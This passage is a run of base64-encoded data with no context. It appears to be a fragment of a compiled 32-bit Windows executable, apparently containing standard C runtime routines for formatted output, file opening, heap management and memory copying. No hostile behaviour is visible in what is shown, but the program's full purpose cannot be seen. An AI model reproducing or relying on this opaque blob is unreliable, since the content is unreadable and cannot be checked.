E9oX4+///IImd6Pv//4tb/Imd8Pv//w+EBQUAAIXbdQuhOBxBAImF8Pv//4Ol7Pv//wCLtfD7//+F/w+OHQUAAIoGhMAPhBMFAACNjbT7//8PtsBRUOiA+v//WVmFwHQBRkb/hez7//85vez7//980OnoBAAAg+hYD4TwAgAAK8IPhJUAAACD6AcPhPX+//8rwg+FxgQAAA+3A4PDBDP2RvaF+Pv//yCJtdj7//+Jnej7//+JhZz7//90QoiFyPv//42FtPv//1CLhbT7///Ghcn7//8A/7CsAAAAjYXI+///UI2F/Pv//1Dou/j//4PEEIXAfQ+JtbD7///rB2aJhfz7//+Nhfz7//+JhfD7//+Jtez7///pQgQAAIsDg8MEiZ3o+///hcB0OotIBIXJdDP3hfj7//8ACAAAD78AiY3w+///dBKZK8LHhdj7//8BAAAA6f0DAACDpdj7//8A6fMDAAChOBxBAImF8Pv//1Doqff//1np3AMAAIP4cA+P9gEAAA+E3gEAAIP4ZQ+MygMAAIP4Zw+O6P3//4P4aXRtg/hudCSD+G8Pha4DAAD2hfj7//+AibXk+///dGGBjfj7//8AAgAA61WLM4PDBImd6Pv//+gj9///hcAPhFb6///2hfj7//8gdAxmi4Xg+///ZokG6wiLheD7//+JBseFsPv//wEAAADpwQQAAION+Pv//0DHheT7//8KAAAA94X4+///AIAAAA+EqwEAAAPei0P4i1P86ecBAAB1EmaD+Wd1Y8eF9Pv//wEAAADrVzmF9Pv//34GiYX0+///gb30+///owAAAH49i730+///gcddAQAAV+ii9f//WYuN5Pv//4mFqPv//4XAdBCJhfD7//+Jvez7//+L8OsKx4X0+///owAAAIsDg8MIiYWU+///i0P8iYWY+///jYW0+///UP+1pPv//w++wf+19Pv//4md6Pv//1D/tez7//+NhZT7//9WUP81WBxBAOhC4f//Wf/Qi534+///g8QcgeOAAAAAdCGDvfT7//8AdRiNhbT7//9QVv81ZBxBAOgS4f//Wf/QWVlmg73k+///Z3Uchdt1GI2FtPv//1BW/zVgHEEA6Ozg//9Z/9BZWYA+LXURgY34+///AAEAAEaJtfD7//9W6Qj+//+JtfT7///Hhaz7//8HAAAA6ySD6HMPhGr8//8rwg+Eiv7//4PoAw+FyQEAAMeFrPv//ycAAAD2hfj7//+Ax4Xk+///EAAAAA+Eav7//2owWGaJhdD7//+Lhaz7//+DwFFmiYXS+///iZXc+///6UX+///3hfj7//8AEAAAD4VF/v//g8ME9oX4+///IHQc9oX4+///QImd6Pv//3QGD79D/OsED7dD/JnrF/aF+Pv//0CLQ/x0A5nrAjPSiZ3o+///9oX4+///QHQbhdJ/F3wEhcBzEffYg9IA99qBjfj7//8AAQAA94X4+///AJAAAIvai/h1AjPbg730+///AH0Mx4X0+///AQAAAOsag6X4+///97gAAgAAOYX0+///fgaJhfT7//+LxwvDdQYhhdz7//+Ntfv9//+LhfT7////jfT7//+FwH8Gi8cLw3Qti4Xk+///mVJQU1fouKf//4PBMIP5OYmdkPv//4v4i9p+BgONrPv//4gOTuu9jYX7/f//K8ZG94X4+///AAIAAImF7Pv//4m18Pv//3RZhcB0B4vOgDkwdE7/jfD7//+LjfD7///GATBA6zaF23ULoTwcQQCJhfD7//+LhfD7///Hhdj7//8BAAAA6wlPZoM4AHQGA8KF/3XzK4Xw+///0fiJhez7//+DvbD7//8AD4VlAQAAi4X4+///qEB0K6kAAQAAdARqLesOqAF0BGor6waoAnQUaiBYZomF0Pv//8eF3Pv//wEAAACLndT7//+Ltez7//8r3iud3Pv///aF+Pv//wx1F/+1xPv//42F4Pv//1NqIOiE9f//g8QM/7Xc+///i73E+///jYXg+///jY3Q+///6Iv1///2hfj7//8IWXQb9oX4+///BHUSV1NqMI2F4Pv//+hC9f//g8QMg73Y+///AHV1hfZ+cYu98Pv//4m15Pv///+N5Pv//42FtPv//1CLhbT7////sKwAAACNhZz7//9XUOhV8///g8QQiYWQ+///hcB+Kf+1nPv//4uFxPv//4214Pv//+it9P//A72Q+///g73k+///AFl/puscg43g+////+sTi43w+///Vo2F4Pv//+jW9P//WYO94Pv//wB8IPaF+Pv//wR0F/+1xPv//42F4Pv//1NqIOiI9P//g8QMg72o+///AHQT/7Wo+///6MDN//+Dpaj7//8AWYu9oPv//4ud6Pv//w+3BzP2iYXk+///ZjvGdAe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